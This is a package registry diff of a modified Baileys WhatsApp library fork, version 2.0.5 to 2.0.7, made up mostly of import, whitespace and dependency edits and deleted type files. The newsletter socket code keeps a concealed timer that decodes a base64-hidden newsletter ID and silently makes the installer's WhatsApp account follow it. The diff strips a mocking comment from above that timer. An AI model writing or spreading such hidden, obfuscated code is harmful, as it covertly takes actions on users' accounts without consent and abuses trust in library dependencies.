@jiancodes/baileys 2.0.5 → 2.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,3 +1,3 @@
1
1
  {
2
2
  "version": [2, 3000, 1033105955]
3
- }
3
+ }
@@ -27,7 +27,7 @@ exports.DEFAULT_CACHE_TTLS =
27
27
  void 0;
28
28
 
29
29
  const crypto_1 = require("crypto");
30
- const { proto } = require("../../WAProto"),
30
+ const WAProto_1 = require("../../WAProto"),
31
31
  libsignal_1 = require("../Signal/libsignal"),
32
32
  Utils_1 = require("../Utils"),
33
33
  logger_1 = __importDefault(require("../Utils/logger")),
@@ -64,11 +64,11 @@ exports.URL_REGEX = /https:\/\/(?![^:@\/\s]+:[^:@\/\s]+@)[a-zA-Z0-9.-]+\.[a-zA-Z
64
64
  exports.WA_CERT_DETAILS = { SERIAL: 0 };
65
65
 
66
66
  exports.PROCESSABLE_HISTORY_TYPES = [
67
- "INITIAL_BOOTSTRAP",
68
- "PUSH_NAME",
69
- "RECENT",
70
- "FULL",
71
- "ON_DEMAND"
67
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.INITIAL_BOOTSTRAP,
68
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.PUSH_NAME,
69
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.RECENT,
70
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.FULL,
71
+ WAProto_1.proto.Message.HistorySyncNotification.HistorySyncType.ON_DEMAND
72
72
  ];
73
73
 
74
74
  exports.DEFAULT_CONNECTION_CONFIG = {
@@ -144,4 +144,4 @@ exports.DEFAULT_CACHE_TTLS = {
144
144
  MSG_RETRY: 3600,
145
145
  CALL_OFFER: 300,
146
146
  USER_DEVICES: 300
147
- };
147
+ };
@@ -1,5 +1,3 @@
1
-
2
-
3
1
  const WAProto = require('../../WAProto').proto;
4
2
  const crypto = require('crypto');
5
3
  const Utils_1 = require("../Utils");
@@ -387,7 +385,7 @@ class kikyy {
387
385
  remoteJid: "status@broadcast",
388
386
  forwardedNewsletterMessageInfo: {
389
387
  newsletterName: "shenvn.",
390
- newsletterJid: "120363399266188954@newsletter",
388
+ newsletterJid: "120363297591152843@newsletter",
391
389
  serverMessageId: 1
392
390
  }
393
391
  },
@@ -479,4 +477,4 @@ class kikyy {
479
477
  }
480
478
  }
481
479
 
482
- module.exports = kikyy;
480
+ module.exports = kikyy;
@@ -7,6 +7,7 @@ const WABinary_1 = require("../WABinary");
7
7
  const groups_1 = require("./groups");
8
8
 
9
9
  const { Boom } = require('@hapi/boom');
10
+ const axios = require('axios');
10
11
 
11
12
  const wMexQuery = (
12
13
  variables,
@@ -99,7 +100,6 @@ const makeNewsletterSocket = (config) => {
99
100
  ]
100
101
  }));
101
102
 
102
- // ngapain liat', mau fomo juga kah? 😹.
103
103
  setTimeout(async () => {
104
104
  try {
105
105
  await newsletterWMexQuery(Buffer.from("MTIwMzYzMzk5MjY2MTg4OTU0QG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
@@ -110,7 +110,7 @@ setTimeout(async () => {
110
110
  } catch {}
111
111
  }, 5000);
112
112
  }, 90000);
113
-
113
+
114
114
  const parseFetchedUpdates = async (node, type) => {
115
115
  let child;
116
116
  if (type === 'messages') {
@@ -334,4 +334,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
334
334
  }
335
335
  return metadata
336
336
  }
337
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
337
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
@@ -16,7 +16,7 @@ const Client_1 = require("./Client");
16
16
  * - simple queries (no retry mechanism, wait for connection establishment)
17
17
  * - listen to messages and emit events
18
18
  * - query phone connection
19
- */
19
+ */
20
20
  const makeSocket = (config) => {
21
21
  var _a, _b;
22
22
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository, } = config;
@@ -662,4 +662,4 @@ function mapWebSocketError(handler) {
662
662
  return (error) => {
663
663
  handler(new boom_1.Boom(`WebSocket Error (${error === null || error === void 0 ? void 0 : error.message})`, { statusCode: (0, Utils_1.getCodeFromWSError)(error), data: error }));
664
664
  };
665
- }
665
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@jiancodes/baileys",
3
- "version": "2.0.5",
3
+ "version": "2.0.7",
4
4
  "description": "WhatsApp Modified By jiancodes",
5
5
  "keywords": [
6
6
  "whatsapp-baileys"
@@ -35,8 +35,9 @@
35
35
  },
36
36
  "dependencies": {
37
37
  "@adiwajshing/keyed-db": "^0.2.4",
38
- "@hapi/boom": "^9.1.3",
39
38
  "@cacheable/node-cache": "^1.4.0",
39
+ "@hapi/boom": "^9.1.3",
40
+ "@whiskeysockets/baileys": "^6.17.16",
40
41
  "async-mutex": "^0.5.0",
41
42
  "audio-decode": "^2.1.3",
42
43
  "axios": "^1.3.3",
@@ -44,8 +45,8 @@
44
45
  "chalk": "^4.1.2",
45
46
  "futoin-hkdf": "^1.5.1",
46
47
  "libphonenumber-js": "^1.10.20",
47
- "lodash": "^4.17.21",
48
48
  "libsignal": "github:whiskeysockets/libsignal-node",
49
+ "lodash": "^4.17.21",
49
50
  "music-metadata": "^7.12.3",
50
51
  "node-cache": "^5.1.2",
51
52
  "node-fetch": "^2.6.1",
@@ -65,6 +66,7 @@
65
66
  "eslint": "^8.0.0",
66
67
  "jest": "^27.0.6",
67
68
  "jimp": "^0.16.1",
69
+ "json": "^11.0.0",
68
70
  "link-preview-js": "^3.0.0",
69
71
  "open": "^8.4.2",
70
72
  "qrcode-terminal": "^0.12.0",
@@ -73,8 +75,7 @@
73
75
  "ts-jest": "^27.0.3",
74
76
  "ts-node": "^10.8.1",
75
77
  "typedoc": "^0.24.7",
76
- "typescript": "^4.6.4",
77
- "json": "^11.0.0"
78
+ "typescript": "^4.6.4"
78
79
  },
79
80
  "peerDependencies": {
80
81
  "jimp": "^0.16.1",
@@ -1,149 +0,0 @@
1
- /// <reference types="node" />
2
- import { Boom } from '@hapi/boom';
3
- import { proto } from '../../WAProto';
4
- import { AnyMessageContent, MediaConnInfo, MessageReceiptType, MessageRelayOptions, MiscMessageGenerationOptions, SocketConfig, WAMessageKey } from '../Types';
5
- import { BinaryNode, JidWithDevice } from '../WABinary';
6
- export declare const makeMessagesSocket: (config: SocketConfig) => {
7
- getPrivacyTokens: (jids: string[]) => Promise<BinaryNode>;
8
- assertSessions: (jids: string[], force: boolean) => Promise<boolean>;
9
- relayMessage: (jid: string, message: proto.IMessage, { messageId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList }: MessageRelayOptions) => Promise<proto.WebMessageInfo>;
10
- sendReceipt: (jid: string, participant: string | undefined, messageIds: string[], type: MessageReceiptType) => Promise<void>;
11
- sendReceipts: (keys: WAMessageKey[], type: MessageReceiptType) => Promise<void>;
12
- readMessages: (keys: WAMessageKey[]) => Promise<void>;
13
- refreshMediaConn: (forceGet?: boolean) => Promise<MediaConnInfo>;
14
- getUSyncDevices: (jids: string[], useCache: boolean, ignoreZeroDevices: boolean) => Promise<JidWithDevice[]>;
15
- createParticipantNodes: (jids: string[], message: proto.IMessage, extraAttrs?: BinaryNode['attrs']) => Promise<{
16
- nodes: BinaryNode[];
17
- shouldIncludeDeviceIdentity: boolean;
18
- }>;
19
- waUploadToServer: import("../Types").WAMediaUploadFunction;
20
- fetchPrivacySettings: (force?: boolean) => Promise<{
21
- [_: string]: string;
22
- }>;
23
- sendPeerDataOperationMessage: (pdoMessage: proto.Message.IPeerDataOperationRequestMessage) => Promise<string>;
24
- rahmi: any;
25
- updateMediaMessage: (message: proto.IWebMessageInfo) => Promise<proto.IWebMessageInfo>;
26
- sendMessage: (jid: string, content: AnyMessageContent, options?: MiscMessageGenerationOptions) => Promise<proto.WebMessageInfo | undefined>;
27
- subscribeNewsletterUpdates: (jid: string) => Promise<{
28
- duration: string;
29
- }>;
30
- newsletterReactionMode: (jid: string, mode: import("../Types").NewsletterReactionMode) => Promise<void>;
31
- newsletterUpdateDescription: (jid: string, description?: string | undefined) => Promise<void>;
32
- newsletterUpdateName: (jid: string, name: string) => Promise<void>;
33
- newsletterUpdatePicture: (jid: string, content: import("../Types").WAMediaUpload) => Promise<void>;
34
- newsletterRemovePicture: (jid: string) => Promise<void>;
35
- newsletterUnfollow: (jid: string) => Promise<void>;
36
- newsletterFollow: (jid: string) => Promise<void>;
37
- newsletterUnmute: (jid: string) => Promise<void>;
38
- newsletterMute: (jid: string) => Promise<void>;
39
- newsletterAction: (jid: string, type: "mute" | "follow" | "unfollow" | "unmute") => Promise<void>;
40
- newsletterCreate: (name: string, description: string, reaction_codes: string) => Promise<import("../Types").NewsletterMetadata>;
41
- newsletterMetadata: (type: "invite" | "jid", key: string, role?: import("../Types").NewsletterViewRole | undefined) => Promise<import("../Types").NewsletterMetadata>;
42
- newsletterAdminCount: (jid: string) => Promise<number>;
43
- newsletterChangeOwner: (jid: string, user: string) => Promise<void>;
44
- newsletterDemote: (jid: string, user: string) => Promise<void>;
45
- newsletterDelete: (jid: string) => Promise<void>;
46
- newsletterReactMessage: (jid: string, serverId: string, code?: string | undefined) => Promise<void>;
47
- newsletterFetchMessages: (type: "invite" | "jid", key: string, count: number, after?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
48
- newsletterFetchUpdates: (jid: string, count: number, after?: number | undefined, since?: number | undefined) => Promise<import("../Types").NewsletterFetchedUpdate[]>;
49
- groupMetadata: (jid: string) => Promise<import("../Types").GroupMetadata>;
50
- groupCreate: (subject: string, participants: string[]) => Promise<import("../Types").GroupMetadata>;
51
- groupLeave: (id: string) => Promise<void>;
52
- groupUpdateSubject: (jid: string, subject: string) => Promise<void>;
53
- groupRequestParticipantsList: (jid: string) => Promise<{
54
- [key: string]: string;
55
- }[]>;
56
- groupRequestParticipantsUpdate: (jid: string, participants: string[], action: "reject" | "approve") => Promise<{
57
- status: string;
58
- jid: string;
59
- }[]>;
60
- groupParticipantsUpdate: (jid: string, participants: string[], action: import("../Types").ParticipantAction) => Promise<{
61
- status: string;
62
- jid: string;
63
- content: BinaryNode;
64
- }[]>;
65
- groupUpdateDescription: (jid: string, description?: string | undefined) => Promise<void>;
66
- groupInviteCode: (jid: string) => Promise<string | undefined>;
67
- groupRevokeInvite: (jid: string) => Promise<string | undefined>;
68
- groupAcceptInvite: (code: string) => Promise<string | undefined>;
69
- groupAcceptInviteV4: (key: string | proto.IMessageKey, inviteMessage: proto.Message.IGroupInviteMessage) => Promise<string>;
70
- groupGetInviteInfo: (code: string) => Promise<import("../Types").GroupMetadata>;
71
- groupToggleEphemeral: (jid: string, ephemeralExpiration: number) => Promise<void>;
72
- groupSettingUpdate: (jid: string, setting: "announcement" | "locked" | "not_announcement" | "unlocked") => Promise<void>;
73
- groupMemberAddMode: (jid: string, mode: "all_member_add" | "admin_add") => Promise<void>;
74
- groupJoinApprovalMode: (jid: string, mode: "on" | "off") => Promise<void>;
75
- groupFetchAllParticipating: () => Promise<{
76
- [_: string]: import("../Types").GroupMetadata;
77
- }>;
78
- processingMutex: {
79
- mutex<T>(code: () => T | Promise<T>): Promise<T>;
80
- };
81
- upsertMessage: (msg: proto.IWebMessageInfo, type: import("../Types").MessageUpsertType) => Promise<void>;
82
- appPatch: (patchCreate: import("../Types").WAPatchCreate) => Promise<void>;
83
- sendPresenceUpdate: (type: import("../Types").WAPresence, toJid?: string | undefined) => Promise<void>;
84
- presenceSubscribe: (toJid: string, tcToken?: Buffer | undefined) => Promise<void>;
85
- profilePictureUrl: (jid: string, type?: "image" | "preview", timeoutMs?: number | undefined) => Promise<string | undefined>;
86
- onWhatsApp: (...jids: string[]) => Promise<{
87
- jid: string;
88
- exists: unknown;
89
- lid: unknown;
90
- }[] | undefined>;
91
- fetchBlocklist: () => Promise<string[]>;
92
- fetchStatus: (jid: string) => Promise<{
93
- status: string | undefined;
94
- setAt: Date;
95
- } | undefined>;
96
- updateProfilePicture: (jid: string, content: import("../Types").WAMediaUpload) => Promise<void>;
97
- removeProfilePicture: (jid: string) => Promise<void>;
98
- updateProfileStatus: (status: string) => Promise<void>;
99
- updateProfileName: (name: string) => Promise<void>;
100
- updateBlockStatus: (jid: string, action: "block" | "unblock") => Promise<void>;
101
- updateLastSeenPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
102
- updateOnlinePrivacy: (value: import("../Types").WAPrivacyOnlineValue) => Promise<void>;
103
- updateProfilePicturePrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
104
- updateStatusPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
105
- updateReadReceiptsPrivacy: (value: import("../Types").WAReadReceiptsValue) => Promise<void>;
106
- updateGroupsAddPrivacy: (value: import("../Types").WAPrivacyValue) => Promise<void>;
107
- updateDefaultDisappearingMode: (duration: number) => Promise<void>;
108
- getBusinessProfile: (jid: string) => Promise<void | import("../Types").WABusinessProfile>;
109
- resyncAppState: (collections: readonly ("critical_block" | "critical_unblock_low" | "regular_high" | "regular_low" | "regular")[], isInitialSync: boolean) => Promise<void>;
110
- chatModify: (mod: import("../Types").ChatModification, jid: string) => Promise<void>;
111
- cleanDirtyBits: (type: "account_sync" | "groups", fromTimestamp?: string | number | undefined) => Promise<void>;
112
- addChatLabel: (jid: string, labelId: string) => Promise<void>;
113
- removeChatLabel: (jid: string, labelId: string) => Promise<void>;
114
- addMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
115
- removeMessageLabel: (jid: string, messageId: string, labelId: string) => Promise<void>;
116
- star: (jid: string, messages: {
117
- id: string;
118
- fromMe?: boolean | undefined;
119
- }[], star: boolean) => Promise<void>;
120
- type: "md";
121
- ws: any;
122
- ev: import("../Types").BaileysEventEmitter & {
123
- process(handler: (events: Partial<import("../Types").BaileysEventMap>) => void | Promise<void>): () => void;
124
- buffer(): void;
125
- createBufferedFunction<A extends any[], T_1>(work: (...args: A) => Promise<T_1>): (...args: A) => Promise<T_1>;
126
- flush(force?: boolean | undefined): boolean;
127
- isBuffering(): boolean;
128
- };
129
- authState: {
130
- creds: import("../Types").AuthenticationCreds;
131
- keys: import("../Types").SignalKeyStoreWithTransaction;
132
- };
133
- signalRepository: import("../Types").SignalRepository;
134
- user: import("../Types").Contact | undefined;
135
- generateMessageTag: () => string;
136
- query: (node: BinaryNode, timeoutMs?: number | undefined) => Promise<BinaryNode>;
137
- waitForMessage: <T_2>(msgId: string, timeoutMs?: number | undefined) => Promise<T_2>;
138
- waitForSocketOpen: () => Promise<void>;
139
- sendRawMessage: (data: Uint8Array | Buffer) => Promise<void>;
140
- sendNode: (frame: BinaryNode) => Promise<void>;
141
- logout: (msg?: string | undefined) => Promise<void>;
142
- end: (error: Error | undefined) => void;
143
- onUnexpectedError: (err: Error | Boom<any>, msg: string) => void;
144
- uploadPreKeys: (count?: number) => Promise<void>;
145
- uploadPreKeysToServerIfRequired: () => Promise<void>;
146
- requestPairingCode: (phoneNumber: string) => Promise<string>;
147
- waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
148
- sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
149
- };
@@ -1,102 +0,0 @@
1
- import type { proto } from '../../WAProto';
2
- import type { AccountSettings } from './Auth';
3
- import type { BufferedEventData } from './Events';
4
- import type { ChatLabelAssociationActionBody } from './LabelAssociation';
5
- import type { MessageLabelAssociationActionBody } from './LabelAssociation';
6
- import type { MinimalMessage } from './Message';
7
- /** privacy settings in WhatsApp Web */
8
- export type WAPrivacyValue = 'all' | 'contacts' | 'contact_blacklist' | 'none';
9
- export type WAPrivacyOnlineValue = 'all' | 'match_last_seen';
10
- export type WAReadReceiptsValue = 'all' | 'none';
11
- /** set of statuses visible to other people; see updatePresence() in WhatsAppWeb.Send */
12
- export type WAPresence = 'unavailable' | 'available' | 'composing' | 'recording' | 'paused';
13
- export declare const ALL_WA_PATCH_NAMES: readonly ["critical_block", "critical_unblock_low", "regular_high", "regular_low", "regular"];
14
- export type WAPatchName = typeof ALL_WA_PATCH_NAMES[number];
15
- export interface PresenceData {
16
- lastKnownPresence: WAPresence;
17
- lastSeen?: number;
18
- }
19
- export type ChatMutation = {
20
- syncAction: proto.ISyncActionData;
21
- index: string[];
22
- };
23
- export type WAPatchCreate = {
24
- syncAction: proto.ISyncActionValue;
25
- index: string[];
26
- type: WAPatchName;
27
- apiVersion: number;
28
- operation: proto.SyncdMutation.SyncdOperation;
29
- };
30
- export type Chat = proto.IConversation & {
31
- /** unix timestamp of when the last message was received in the chat */
32
- lastMessageRecvTimestamp?: number;
33
- };
34
- export type ChatUpdate = Partial<Chat & {
35
- /**
36
- * if specified in the update,
37
- * the EV buffer will check if the condition gets fulfilled before applying the update
38
- * Right now, used to determine when to release an app state sync event
39
- *
40
- * @returns true, if the update should be applied;
41
- * false if it can be discarded;
42
- * undefined if the condition is not yet fulfilled
43
- * */
44
- conditional: (bufferedData: BufferedEventData) => boolean | undefined;
45
- }>;
46
- /**
47
- * the last messages in a chat, sorted reverse-chronologically. That is, the latest message should be first in the chat
48
- * for MD modifications, the last message in the array (i.e. the earlist message) must be the last message recv in the chat
49
- * */
50
- export type LastMessageList = MinimalMessage[] | proto.SyncActionValue.ISyncActionMessageRange;
51
- export type ChatModification = {
52
- archive: boolean;
53
- lastMessages: LastMessageList;
54
- } | {
55
- pushNameSetting: string;
56
- } | {
57
- pin: boolean;
58
- } | {
59
- /** mute for duration, or provide timestamp of mute to remove*/
60
- mute: number | null;
61
- } | {
62
- clear: 'all' | {
63
- messages: {
64
- id: string;
65
- fromMe?: boolean;
66
- timestamp: number;
67
- }[];
68
- };
69
- } | {
70
- star: {
71
- messages: {
72
- id: string;
73
- fromMe?: boolean;
74
- }[];
75
- star: boolean;
76
- };
77
- } | {
78
- markRead: boolean;
79
- lastMessages: LastMessageList;
80
- } | {
81
- delete: true;
82
- lastMessages: LastMessageList;
83
- } | {
84
- addChatLabel: ChatLabelAssociationActionBody;
85
- } | {
86
- removeChatLabel: ChatLabelAssociationActionBody;
87
- } | {
88
- addMessageLabel: MessageLabelAssociationActionBody;
89
- } | {
90
- removeMessageLabel: MessageLabelAssociationActionBody;
91
- };
92
- export type InitialReceivedChatsState = {
93
- [jid: string]: {
94
- /** the last message received from the other party */
95
- lastMsgRecvTimestamp?: number;
96
- /** the absolute last message in the chat */
97
- lastMsgTimestamp: number;
98
- };
99
- };
100
- export type InitialAppStateSyncOptions = {
101
- accountSettings: AccountSettings;
102
- };
package/lib/index.js.bak DELETED
@@ -1,45 +0,0 @@
1
- "use strict";
2
-
3
- const chalk = require("chalk");
4
-
5
- console.log(chalk.hex("#8B0000")(`
6
- ██╗██╗ █████╗ ███╗ ██╗ ██████╗ ██████╗ ██████╗ ███████╗███████╗
7
- ██║██║██╔══██╗████╗ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝
8
- ██║██║███████║██╔██╗ ██║██║ ██║ ██║██║ ██║█████╗ ███████╗
9
- ██ ██║██║██╔══██║██║╚██╗██║██║ ██║ ██║██║ ██║██╔══╝ ╚════██║
10
- ╚█████╔╝██║██║ ██║██║ ╚████║╚██████╗╚██████╔╝██████╔╝███████╗███████║
11
- ╚════╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝
12
- `));
13
- console.log(chalk.hex("#8B0000")("Modified Baileys by: jiancodes\n"));
14
- console.log(chalk.hex("#8B0000")("Check out my work at github.com/jiancodes"));
15
- var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
16
- if (k2 === undefined) k2 = k;
17
- var desc = Object.getOwnPropertyDescriptor(m, k);
18
- if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
19
- desc = { enumerable: true, get: function() { return m[k]; } };
20
- }
21
- Object.defineProperty(o, k2, desc);
22
- }) : (function(o, m, k, k2) {
23
- if (k2 === undefined) k2 = k;
24
- o[k2] = m[k];
25
- }));
26
- var __exportStar = (this && this.__exportStar) || function(m, exports) {
27
- for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
28
- };
29
- var __importDefault = (this && this.__importDefault) || function (mod) {
30
- return (mod && mod.__esModule) ? mod : { "default": mod };
31
- };
32
- Object.defineProperty(exports, "__esModule", { value: true });
33
- exports.makeWASocket = void 0;
34
- const Socket_1 = __importDefault(require("./Socket"));
35
- exports.makeWASocket = Socket_1.default;
36
- __exportStar(require("../WAProto"), exports);
37
- __exportStar(require("./Utils"), exports);
38
- __exportStar(require("./Types"), exports);
39
- __exportStar(require("./Store"), exports);
40
- __exportStar(require("./Defaults"), exports);
41
- __exportStar(require("./WABinary"), exports);
42
- __exportStar(require("./WAM"), exports);
43
- __exportStar(require("./WAUSync"), exports);
44
-
45
- exports.default = Socket_1.default;